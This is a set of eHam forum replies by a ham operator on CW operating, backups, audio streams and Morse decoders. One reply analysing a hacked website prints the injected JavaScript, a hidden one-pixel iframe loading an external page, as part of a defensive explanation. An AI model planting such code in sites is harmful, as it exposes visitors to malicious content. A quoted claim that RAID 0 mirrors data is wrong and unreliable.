|
|
|
3
|
eHam Forums / CW / RE: Starting into CW
|
on: April 15, 2013, 09:03:35 AM
|
Well, I have started to dabble in CW on 40M (7.025 - 7.125MHZ) and also 15M (21.025 - 21.2MHz), and while I can hear lots of activity on those frequencies, I will put my call out there and I hear nothing back.
Typically, I will send "CQ CQ CQ de kd8tzc kd8tzc kd8tzc k" and then wait about 15 - 20 seconds, and then repeat. I did this last night for approx 30 minutes on one frequency, and didn't hear anything back. I have done this on a number of other times and have had the same result. So this leads me to wonder if I am doing something wrong with what I am sending, or in my setup.
I am using FLDIGI, and I do know it is transmitting (I have listened on another radio). Any suggestions on how I can improve what I am doing and be more effective?
As for an antenna... I have a G5RV Jr that is tuned on both bands. This is about 35 feet in the air in my attic.
To check whether your signal is getting out or not, the Reverse Beacon Network is a great tool. It's an aggregation of CW Skimmer spots from dozens of wideband CW decoders all around the world. Most every CQ call will be received by at least one Skimmer and then listed on the RBN website; the same data is also available as a telnet feed like a classical DX Cluster. You can filter this data by a call, e. g. with yours: http://www.reversebeacon.net/dxsd1/dxsd1.php?f=0&c=kd8tzc&t=dx73 Fabian
|
|
|
|
|
4
|
eHam Forums / Computers And Software / RE: software to manage backups
|
on: March 25, 2013, 02:19:56 PM
|
Or you could simple use a RAID 0 array which mirror data from one drive to other transparently. Chances of both drives failing at once is pretty slim. You could also mirror data transparently across network to another hard drive volume.
RAID arrays are great, but another thing to consider is accidental deletion or alteration of files (by user mistake or buggy software). In such a case an additional "offline" backup can be a life saver.
|
|
|
|
|
5
|
eHam Forums / Computers And Software / RE: software to manage backups
|
on: March 19, 2013, 10:48:02 AM
|
It may sound too good to be true, but on a typical Windows computer you have everything to do automated backups to an external harddrive: XCOPY and Scheduled Tasks. Xcopy documentation and examples: http://support.microsoft.com/kb/289483Scheduled Tasks: http://windows.microsoft.com/en-us/windows7/schedule-a-taskxcopy can be configured to copy files from a source to a destination only if they changed or are newer, and this can be put into a batch file which is then periodically called by a scheduled task. Alternatively, you can also just manually start this file whenever you like. By limiting the copying to new or updated files, the backup in most cases take a lot less time than just blindly copying everything each time you're starting the backup process. Depending on which version of Windows you are using, the specifics differ a little bit, but you'll probably find quite a lot of documentation for each version online. Here's an example for WinXP: http://www.ekho.com/Training_Videos/XCOPY_NOTES.pdfI have been using xcopy on Windows for years and it's a unsophisticated but reliable tool for simple cases which include no need for revisioning or transfer over networks etc.
|
|
|
|
|
9
|
eHam Forums / Misc / RE: WA2ISE website hacked?
|
on: February 02, 2013, 08:57:02 AM
|
There's a bit of JavaScript code embedded on that site that most certainly does not belong there. It contains an array of scrambled JavaScript code which is then translated into some more JavaScript which, when executed, embeds an iframe into the site. This iframe, most likely on another hacked website, probably contained something malicious, but it doesn't seem to exist anymore (Error 404). Probably the owner of that other website (with an Italian domain name, probably completely unrelated to WA2ISE) has noticed the breach and cleaned up his server. (function () { var fe = document.createElement('iframe');
fe.src = 'http://EDITED.it.invalid/esd.php'; fe.style.position = 'absolute'; fe.style.border = '0'; fe.style.height = '1px'; fe.style.width = '1px'; fe.style.left = '1px'; fe.style.top = '1px';
if (!document.getElementById('fe')) { document.write('<div id=\'fe\'></div>'); document.getElementById('fe').appendChild(fe); }
})(); Bottom line: There's still some JavaScript on that website which doesn't belong there. but it isn't harmful. However the owner of the website should remove it, try to find out how it got there, and at the very least change his access password etc. to make further breakins of this kind less likely to happen. To protect oneself from problems by such malicious code from random websites, I highly recommend to switch off JavaScript in the browser off by default. For Firefox there's a great plugin called NoScript ( http://www.noscript.net/) which allows very fine grained script settings to be made for each website. There are similar things for other browsers too. 73 Fabian, DJ1YFK
|
|
|
|
|
10
|
eHam Forums / CW / RE: CW DX Question
|
on: January 29, 2013, 10:35:54 AM
|
|
If the other station tells you about his rig, antenna and power, he shouldn't be unhappy if you do the same. Yet, some people like to elaborate a little more about it than what I'd like to hear. I typically just send something like "kw es 3el [at 100 ft]". It doesn't really matter whether I am running a FTdx9000 or a FT450; of course in case of some very special transceiver it may be of interest, but typically it isn't.
Just be brief (as one should always be in CW) and reduce redundancy, and everyone should be happy.
gd dx!
Fabian
|
|
|
|
|
11
|
eHam Forums / CW / RE: How to practically copy CW in your head - for beginners
|
on: January 25, 2013, 01:05:05 PM
|
One thing that would be nice about that CNN website is if the format wasn't exclusively for Mac products. I understand that .m3u only works with Itunes. It would be nice if maybe the format was something that could be opened in Chrome.
Maybe there is a work-around, but I have tried to open this using Rythmbox on ubuntu and got a bunch of garbage.
M3U is an open format for MP3 playlists, see http://en.wikipedia.org/wiki/M3UIn those M3U files on http://cw.dimebank.com:8080/ there's just one line in each, pointing to the URL of the actual stream. E.g. http://cw.dimebank.com:8080/CNNfast.m3u contains in plain ASCII: http://cw.dimebank.com:8080/CNNfastAll media players that support streaming media should support it in principle. Unfortunately those streams are using a 8kHz sample rate which many MP3 decoders choke on. With a default mplayer on Ubuntu I get very garbled audio, whereas VLC appears to handle it just fine. 73, Fabian DJ1YFK (who, by the way, uses rss2email & cwbiff for news headlines in CW)
|
|
|
|
|
12
|
eHam Forums / CW / RE: Morse Code with a mouse - practice sending
|
on: January 25, 2013, 10:49:59 AM
|
As usually, another newbie question brought to you by AD0AE. I was just wondering if there are any programs out there that allow one to be able to use their mouse (standard un-tampered USB mouse) as a keyer? I am mainly curious if a program like this exists where I could do a bit of sending practice. So just to practice before trying on the air. I found this MorseKOB program, but on launching it, it didn't seem to quite be what I thought it would be. About two years ago I coded a little Morse Decoder which uses the mouse as the input device in JavaScript, e.g. to be used in a browser. Getting the mouse click events with a millisecond resolution works surprisingly well with the Firefox browser. What I didn't manage to get running well back then was a decent sidetone. A few weeks ago I played with the code again and found that Firefox's audio capabilities have dramatically improved in the meantime, and it's indeed possible to generate a sidetone without too much delay by very simple means. It's still a bit clicky because I switch it on and off without any rise- or fall-times, but at least it's not delayed much (on a halfway modern/fast computer). The result can be seen here (as mentioned, it will probably work with Firefox only at this moment, possibly also with Opera): http://lcwo.net/transmitI have some ideas how to improve the sound, and also I am planning to implement a little Morse Chatroom with it on LCWO.net eventually. 73 Fabian DJ1YFK
|
|
|
|
|
13
|
eHam Forums / CW / RE: FLDIGI Morse decoder test results and metrics question
|
on: January 02, 2013, 08:59:02 AM
|
1) Has anybody done similar tests comparing multiple CW decoder software packages with noisy signals? I have a copy of SM7CPY's thesis in which he mostly describes research about the human ear's/brain's ability to copy Morse code, but also with some CW decoders: PL232. TONO 7000E, Telereader CD 670, CWR 900 and PROCO CD 630. These are from the early 1990s or even earlier and therefore don't use very sophisticated technology; just a bandpass filter plus level detector. For perfect copy at 16wpm (he didn't test 20wpm) and with wideband masking noise (100 .. 2500 Hz, tone frequency 800 Hz) the decoders require something between -4 and +3 dB of SNR. In his studies, a human decoder required -7 dB of SNR under the same conditions. The difference between his and your noise bandwidth (2.3 kHz vs 3 kHz) would account for roughly 1 dB of difference in SNR; I am not exactly sure how big the influence of the speed difference is. Regarding further tests with decoders I would be interested in any news, but my own research is going into the direction of the capability of humans to copy CW under low SNRs. On my Morse Code training website ( http://lcwo.net/) I will soon roll out a test everyone can take, in which the test subject has to copy a number of random groups with varying SNR; in the end I hope to be able to generate a SNR/CER plot for each individual person, but also get some insight into differences between individuals. 73 Fabian
|
|
|
|
|
Loading...
|